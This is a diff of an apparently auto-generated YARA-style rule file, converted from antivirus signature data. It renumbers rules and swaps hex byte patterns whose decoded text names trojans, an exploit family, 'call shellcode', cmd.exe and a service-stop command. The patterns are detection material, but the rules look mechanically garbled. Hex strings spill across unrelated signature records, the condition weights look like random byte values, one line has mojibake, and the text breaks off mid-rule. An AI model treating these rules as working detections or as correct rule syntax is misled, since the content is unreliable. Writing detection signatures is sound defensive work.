_InfrastructureShared_27711{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25964+(#a_01_2 & 1)*5+(#a_01_3 & 1)*14918) >=4 } -rule _InfrastructureShared_27712{ +rule _InfrastructureShared_29451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -361243,7 +383924,7 @@ rule _InfrastructureShared_27712{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25902+(#a_01_2 & 1)*6144+(#a_01_4 & 1)*5) >=5 } -rule _InfrastructureShared_27713{ +rule _InfrastructureShared_29452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -361257,7 +383938,7 @@ rule _InfrastructureShared_27713{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*46+(#a_01_2 & 1)*8514+(#a_01_3 & 1)*0+(#a_01_4 & 1)*15716) >=5 } -rule _InfrastructureShared_27714{ +rule _InfrastructureShared_29453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -361271,7 +383952,7 @@ rule _InfrastructureShared_27714{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25959+(#a_01_2 & 1)*11841+(#a_01_3 & 1)*28261+(#a_01_4 & 1)*8498) >=5 } -rule _InfrastructureShared_27715{ +rule _InfrastructureShared_29454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 05 00 04 00 21 " @@ -361284,7 +383965,7 @@ rule _InfrastructureShared_27715{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25710+(#a_01_2 & 1)*9+(#a_01_3 & 1)*21562) >=5 } -rule _InfrastructureShared_27716{ +rule _InfrastructureShared_29455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -361301,7 +383982,7 @@ rule _InfrastructureShared_27716{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29537+(#a_01_2 & 1)*21581+(#a_01_3 & 1)*24908+(#a_01_4 & 1)*97+(#a_01_5 & 1)*28784+(#a_01_6 & 1)*20037+(#a_01_7 & 1)*29285) >=9 } -rule _InfrastructureShared_27717{ +rule _InfrastructureShared_29456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -361313,7 +383994,7 @@ rule _InfrastructureShared_27717{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24908+(#a_01_2 & 1)*28500) >=15 } -rule _InfrastructureShared_27718{ +rule _InfrastructureShared_29457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 07 00 21 " @@ -361327,7 +384008,7 @@ rule _InfrastructureShared_27718{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*21512+(#a_01_4 & 1)*10+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=15 } -rule _InfrastructureShared_27719{ +rule _InfrastructureShared_29458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,16 00 16 00 07 00 21 " @@ -361342,7 +384023,7 @@ rule _InfrastructureShared_27719{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24912+(#a_01_2 & 1)*68+(#a_01_3 & 1)*21588+(#a_01_4 & 1)*28281+(#a_01_5 & 1)*70) >=22 } -rule _InfrastructureShared_27720{ +rule _InfrastructureShared_29459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -361355,7 +384036,7 @@ rule _InfrastructureShared_27720{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*14918+(#a_01_3 & 1)*14391) >=30 } -rule _InfrastructureShared_27721{ +rule _InfrastructureShared_29460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,2c 01 2c 01 03 00 21 " @@ -361366,7 +384047,7 @@ rule _InfrastructureShared_27721{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16952) >=300 } -rule _InfrastructureShared_27722{ +rule _InfrastructureShared_29461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -361376,7 +384057,7 @@ rule _InfrastructureShared_27722{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27723{ +rule _InfrastructureShared_29462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -361386,7 +384067,7 @@ rule _InfrastructureShared_27723{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_27724{ +rule _InfrastructureShared_29463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -361399,7 +384080,7 @@ rule _InfrastructureShared_27724{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*6950+(#a_01_2 & 1)*5647+(#a_01_3 & 1)*5403) >=2 } -rule _InfrastructureShared_27725{ +rule _InfrastructureShared_29464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361411,30 +384092,20 @@ rule _InfrastructureShared_27725{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*17803+(#a_01_2 & 1)*25964) >=3 } -rule _InfrastructureShared_27726{ +rule _InfrastructureShared_29465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " strings : $a_01_0 = {54 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 6f 75 67 6c 61 73 4d 53 30 37 30 31 37 21 64 68 61 00 01 00 12 63 61 6c 6c 20 73 68 65 6c 6c 63 6f 64 65 20 2e 2e 2e 01 00 37 5a 77 56 64 6d 43 6f 6e 74 72 6f 6c 20 2d 3e 20 4d 79 20 53 68 65 6c } //18467 - $a_01_1 = {64 65 2c 20 6d 6f 64 69 66 69 61 62 6c 65 20 4b 69 53 65 72 76 69 63 65 54 61 62 6c 65 01 00 0e 4e 6f 74 20 4e 54 35 20 73 79 73 74 65 6d 01 00 07 63 6d 64 2e 65 78 65 00 00 61 9a 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 53 43 45 21 4d 54 42 00 02 00 2c 76 00 65 00 64 00 } //25452 - $a_01_2 = {00 66 00 74 00 6e 00 69 00 6e 00 67 00 65 00 72 00 20 00 6d 00 61 00 6c 00 61 00 64 00 69 00 76 00 65 00 02 00 3e 63 00 69 00 76 00 69 00 6c 00 69 00 73 00 65 00 72 00 20 00 73 00 70 00 69 00 6b 00 69 00 65 00 73 00 74 00 20 00 65 00 6b 00 73 00 74 00 72 00 61 00 6e 00 75 00 6d 00 6d 00 65 00 72 00 00 } //104 - $a_01_3 = {00 00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 57 6f 6c 66 4d 50 00 02 00 26 50 72 6f 5c 73 72 63 5c 42 75 69 6c 64 73 5c 52 65 6c 65 61 73 65 5c 77 6f 6c 66 5c 77 6f 6c 66 4d 50 2e 70 64 62 01 00 0a 77 6f 6c 66 4d 50 2e 65 78 65 01 00 39 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 74 69 76 69 73 69 6f 6e 2e 63 6f 6d 2f 67 61 6d 65 73 2f 77 6f 6c 66 65 6e 73 74 65 69 6e 2f 70 75 72 63 68 61 73 65 2e 68 74 6d 6c 01 00 0a 57 6f 6c 66 53 50 2e 65 78 65 } //24832 + $a_01_1 = {64 65 2c 20 6d 6f 64 69 66 69 61 62 6c 65 20 4b 69 53 65 72 76 69 63 65 54 61 62 6c 65 01 00 0e 4e 6f 74 20 4e 54 35 20 73 79 73 74 65 6d 01 00 07 63 6d 64 2e 65 78 65 00 00 61 9a 00 00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 57 6f 6c 66 4d 50 00 02 00 26 50 72 6f 5c 73 72 63 5c 42 75 69 6c 64 73 5c 52 65 6c 65 61 73 } //25452 + $a_01_2 = {6f 6c 66 5c 77 6f 6c 66 4d 50 2e 70 64 62 01 00 0a 77 6f 6c 66 4d 50 2e 65 78 65 01 00 39 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 74 69 76 69 73 69 6f 6e 2e 63 6f 6d 2f 67 61 6d 65 73 2f 77 6f 6c 66 65 6e 73 74 65 69 6e 2f 70 75 72 63 68 61 73 65 2e 68 74 6d 6c 01 00 0a 57 6f 6c 66 53 50 2e 65 78 65 00 00 61 9a 00 00 07 00 07 00 05 00 21 23 54 45 4c 3a 57 } //23653 + $a_01_3 = {32 2f 4c 6f 74 75 73 2e 49 6e 73 74 21 64 68 61 00 01 00 1a 22 00 25 00 73 00 22 00 20 00 2f 00 68 00 65 00 6c 00 70 00 3f 00 25 00 73 00 01 00 0e 2f 00 } //28265 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25452+(#a_01_2 & 1)*104+(#a_01_3 & 1)*24832) >=3 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25452+(#a_01_2 & 1)*23653+(#a_01_3 & 1)*28265) >=3 } -rule _InfrastructureShared_27727{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 02 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 53 43 45 21 4d 54 42 00 02 00 2c 76 00 65 00 64 00 68 00 65 00 66 00 74 00 6e 00 69 00 6e 00 67 00 65 00 72 00 20 00 6d 00 61 00 6c 00 61 00 64 00 69 00 76 00 65 } //16675 - condition: - ((#a_01_0 & 1)*16675) >=4 - -} -rule _InfrastructureShared_27728{ +rule _InfrastructureShared_29466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361445,7 +384116,7 @@ rule _InfrastructureShared_27728{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28261) >=4 } -rule _InfrastructureShared_27729{ +rule _InfrastructureShared_29467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -361459,7 +384130,7 @@ rule _InfrastructureShared_27729{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*5+(#a_01_4 & 1)*0) >=7 } -rule _InfrastructureShared_27730{ +rule _InfrastructureShared_29468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 05 00 21 " @@ -361472,7 +384143,7 @@ rule _InfrastructureShared_27730{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*9571+(#a_01_3 & 1)*19737+(#a_01_4 & 1)*26995) >=13 } -rule _InfrastructureShared_27731{ +rule _InfrastructureShared_29469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -361485,7 +384156,7 @@ rule _InfrastructureShared_27731{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*26469+(#a_01_2 & 1)*21539+(#a_01_3 & 1)*28021) >=30 } -rule _InfrastructureShared_27732{ +rule _InfrastructureShared_29470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffffd2 00 ffffffd2 00 0b 00 21 " @@ -361500,7 +384171,7 @@ rule _InfrastructureShared_27732{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28021+(#a_01_2 & 1)*25924+(#a_01_6 & 1)*0+(#a_01_7 & 1)*18176+(#a_01_10 & 1)*3) >=210 } -rule _InfrastructureShared_27733{ +rule _InfrastructureShared_29471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -361510,7 +384181,7 @@ rule _InfrastructureShared_27733{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27734{ +rule _InfrastructureShared_29472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -361520,7 +384191,7 @@ rule _InfrastructureShared_27734{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27735{ +rule _InfrastructureShared_29473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -361532,7 +384203,7 @@ rule _InfrastructureShared_27735{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*23668) >=2 } -rule _InfrastructureShared_27736{ +rule _InfrastructureShared_29474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361544,7 +384215,7 @@ rule _InfrastructureShared_27736{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*47+(#a_01_2 & 1)*26485) >=3 } -rule _InfrastructureShared_27737{ +rule _InfrastructureShared_29475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -361561,7 +384232,7 @@ rule _InfrastructureShared_27737{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28012+(#a_01_2 & 1)*25441+(#a_01_3 & 1)*2+(#a_01_4 & 1)*8448+(#a_01_6 & 1)*114+(#a_01_7 & 1)*100+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_27738{ +rule _InfrastructureShared_29476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -361572,7 +384243,7 @@ rule _InfrastructureShared_27738{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27745) >=30 } -rule _InfrastructureShared_27739{ +rule _InfrastructureShared_29477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -361584,7 +384255,7 @@ rule _InfrastructureShared_27739{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*107+(#a_01_2 & 1)*22036) >=2 } -rule _InfrastructureShared_27740{ +rule _InfrastructureShared_29478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361595,7 +384266,7 @@ rule _InfrastructureShared_27740{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*32320) >=3 } -rule _InfrastructureShared_27741{ +rule _InfrastructureShared_29479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361607,7 +384278,7 @@ rule _InfrastructureShared_27741{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26912+(#a_01_2 & 1)*8293) >=3 } -rule _InfrastructureShared_27742{ +rule _InfrastructureShared_29480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361619,7 +384290,7 @@ rule _InfrastructureShared_27742{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*32+(#a_01_3 & 1)*26967) >=4 } -rule _InfrastructureShared_27743{ +rule _InfrastructureShared_29481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361631,7 +384302,7 @@ rule _InfrastructureShared_27743{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*95+(#a_01_3 & 1)*83) >=4 } -rule _InfrastructureShared_27744{ +rule _InfrastructureShared_29482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361643,7 +384314,7 @@ rule _InfrastructureShared_27744{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12342+(#a_01_3 & 1)*21305) >=4 } -rule _InfrastructureShared_27745{ +rule _InfrastructureShared_29483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361655,7 +384326,7 @@ rule _InfrastructureShared_27745{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*24436+(#a_01_2 & 1)*24903) >=4 } -rule _InfrastructureShared_27746{ +rule _InfrastructureShared_29484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -361669,7 +384340,7 @@ rule _InfrastructureShared_27746{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29472+(#a_01_2 & 1)*17262+(#a_01_3 & 1)*29285+(#a_01_4 & 1)*21515) >=5 } -rule _InfrastructureShared_27747{ +rule _InfrastructureShared_29485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -361683,7 +384354,7 @@ rule _InfrastructureShared_27747{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*109+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_27748{ +rule _InfrastructureShared_29486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -361700,7 +384371,7 @@ rule _InfrastructureShared_27748{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17263+(#a_01_3 & 1)*17425+(#a_01_4 & 1)*0+(#a_01_5 & 1)*1817+(#a_01_6 & 1)*21523+(#a_01_7 & 1)*-403+(#a_01_8 & 1)*4865) >=9 } -rule _InfrastructureShared_27749{ +rule _InfrastructureShared_29487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 04 00 21 " @@ -361713,7 +384384,7 @@ rule _InfrastructureShared_27749{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*13136+(#a_01_2 & 1)*14930+(#a_01_3 & 1)*786) >=10 } -rule _InfrastructureShared_27750{ +rule _InfrastructureShared_29488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 05 00 21 " @@ -361727,7 +384398,7 @@ rule _InfrastructureShared_27750{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*6416+(#a_01_2 & 1)*2824+(#a_01_3 & 1)*27714+(#a_01_4 & 1)*11030) >=14 } -rule _InfrastructureShared_27751{ +rule _InfrastructureShared_29489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -361738,7 +384409,7 @@ rule _InfrastructureShared_27751{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11520) >=20 } -rule _InfrastructureShared_27752{ +rule _InfrastructureShared_29490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -361751,7 +384422,7 @@ rule _InfrastructureShared_27752{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*108+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10) >=30 } -rule _InfrastructureShared_27753{ +rule _InfrastructureShared_29491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -361763,30 +384434,20 @@ rule _InfrastructureShared_27753{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*116+(#a_01_3 & 1)*105) >=30 } -rule _InfrastructureShared_27754{ +rule _InfrastructureShared_29492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 04 00 21 " strings : $a_01_0 = {54 52 3a 43 6c 75 73 74 69 6e 65 78 2e 67 65 6e 21 47 00 01 00 1e 29 00 63 00 3a 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 67 00 38 00 32 00 38 00 61 00 66 00 01 00 24 39 64 32 66 35 34 61 38 2d 37 64 34 32 2d 34 30 36 35 2d 61 65 31 31 2d 64 35 36 39 } //18467 - $a_01_1 = {66 32 66 63 62 01 00 1e 3b 00 63 00 3a 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 67 00 38 00 32 00 38 00 61 00 66 00 01 00 0f 6e 65 74 20 73 74 6f 70 20 70 63 61 73 76 63 00 00 04 00 61 9d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 4d 58 21 4d 54 42 00 01 } //13878 - $a_01_2 = {28 15 } //5632 ᔨ - $a_01_3 = {03 28 19 00 00 06 } //0 + $a_01_1 = {66 32 66 63 62 01 00 1e 3b 00 63 00 3a 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 67 00 38 00 32 00 38 00 61 00 66 00 01 00 0f 6e 65 74 20 73 74 6f 70 20 70 63 61 73 76 63 00 00 04 00 61 9d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 41 41 32 30 } //13878 + $a_01_2 = {65 6d 6c 00 01 00 24 4d 00 61 00 72 00 6b 00 64 00 6f 00 77 00 6e 00 4d 00 61 00 69 00 6c 00 65 00 } //12338 + $a_01_3 = {00 65 00 78 00 65 00 01 00 44 41 00 6e 00 64 00 72 00 65 00 77 00 20 00 4d 00 69 00 6c 00 6c 00 65 00 72 00 20 00 3c 00 6e 00 65 00 6d 00 } //114 攀砀攀Ā䐀Andrew Miller =100 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13878+(#a_01_2 & 1)*12338+(#a_01_3 & 1)*114) >=100 } -rule _InfrastructureShared_27755{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 4d 58 21 4d 54 42 00 01 00 16 02 28 15 00 00 06 03 28 19 00 00 06 20 b8 0b 00 00 28 11 00 00 0a 01 00 5a 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 } //16675 - condition: - ((#a_01_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_27756{ +rule _InfrastructureShared_29493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -361797,7 +384458,7 @@ rule _InfrastructureShared_27756{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*114) >=2 } -rule _InfrastructureShared_27757{ +rule _InfrastructureShared_29494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -361808,7 +384469,7 @@ rule _InfrastructureShared_27757{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*102) >=2 } -rule _InfrastructureShared_27758{ +rule _InfrastructureShared_29495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361820,7 +384481,7 @@ rule _InfrastructureShared_27758{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*29285) >=3 } -rule _InfrastructureShared_27759{ +rule _InfrastructureShared_29496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 06 00 21 " @@ -361835,7 +384496,7 @@ rule _InfrastructureShared_27759{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*24404+(#a_01_3 & 1)*25205+(#a_01_4 & 1)*-1940+(#a_01_5 & 1)*14918) >=7 } -rule _InfrastructureShared_27760{ +rule _InfrastructureShared_29497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -361853,7 +384514,7 @@ rule _InfrastructureShared_27760{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29797+(#a_01_2 & 1)*27246+(#a_01_3 & 1)*-6140+(#a_01_4 & 1)*118+(#a_01_5 & 1)*111+(#a_01_6 & 1)*64+(#a_01_7 & 1)*11890+(#a_01_8 & 1)*27759) >=9 } -rule _InfrastructureShared_27761{ +rule _InfrastructureShared_29498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -361863,7 +384524,7 @@ rule _InfrastructureShared_27761{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27762{ +rule _InfrastructureShared_29499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -361875,7 +384536,7 @@ rule _InfrastructureShared_27762{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*101+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_27763{ +rule _InfrastructureShared_29500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361886,7 +384547,7 @@ rule _InfrastructureShared_27763{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*121) >=3 } -rule _InfrastructureShared_27764{ +rule _InfrastructureShared_29501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -361899,7 +384560,7 @@ rule _InfrastructureShared_27764{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*65+(#a_01_2 & 1)*20345+(#a_01_3 & 1)*20599) >=3 } -rule _InfrastructureShared_27765{ +rule _InfrastructureShared_29502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361911,7 +384572,7 @@ rule _InfrastructureShared_27765{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17522+(#a_01_3 & 1)*17165) >=4 } -rule _InfrastructureShared_27766{ +rule _InfrastructureShared_29503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -361925,7 +384586,7 @@ rule _InfrastructureShared_27766{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*17168+(#a_01_3 & 1)*27247+(#a_01_4 & 1)*27234+(#a_01_5 & 1)*21071) >=4 } -rule _InfrastructureShared_27767{ +rule _InfrastructureShared_29504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -361938,7 +384599,7 @@ rule _InfrastructureShared_27767{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28773+(#a_01_3 & 1)*17465+(#a_01_4 & 1)*31075) >=5 } -rule _InfrastructureShared_27768{ +rule _InfrastructureShared_29505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 03 00 21 " @@ -361950,7 +384611,7 @@ rule _InfrastructureShared_27768{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30580+(#a_01_2 & 1)*1) >=15 } -rule _InfrastructureShared_27769{ +rule _InfrastructureShared_29506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 08 00 21 " @@ -361964,7 +384625,7 @@ rule _InfrastructureShared_27769{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24421+(#a_01_2 & 1)*26992+(#a_01_3 & 1)*28532+(#a_01_5 & 1)*21307) >=16 } -rule _InfrastructureShared_27770{ +rule _InfrastructureShared_29507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 14 00 04 00 21 " @@ -361977,7 +384638,7 @@ rule _InfrastructureShared_27770{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*8250+(#a_01_2 & 1)*27680+(#a_01_3 & 1)*28265) >=20 } -rule _InfrastructureShared_27771{ +rule _InfrastructureShared_29508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -361989,7 +384650,7 @@ rule _InfrastructureShared_27771{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29472+(#a_01_2 & 1)*25710) >=1 } -rule _InfrastructureShared_27772{ +rule _InfrastructureShared_29509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -362000,7 +384661,7 @@ rule _InfrastructureShared_27772{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*82) >=3 } -rule _InfrastructureShared_27773{ +rule _InfrastructureShared_29510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -362010,7 +384671,7 @@ rule _InfrastructureShared_27773{ ((#a_01_0 & 1)*21539) >=3 } -rule _InfrastructureShared_27774{ +rule _InfrastructureShared_29511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -362023,7 +384684,7 @@ rule _InfrastructureShared_27774{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24948+(#a_01_2 & 1)*22062+(#a_01_3 & 1)*24864) >=3 } -rule _InfrastructureShared_27775{ +rule _InfrastructureShared_29512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 03 00 21 " @@ -362034,7 +384695,7 @@ rule _InfrastructureShared_27775{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24421) >=4 } -rule _InfrastructureShared_27776{ +rule _InfrastructureShared_29513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -362047,7 +384708,7 @@ rule _InfrastructureShared_27776{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*20572+(#a_01_2 & 1)*25436+(#a_01_3 & 1)*21562) >=4 } -rule _InfrastructureShared_27777{ +rule _InfrastructureShared_29514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 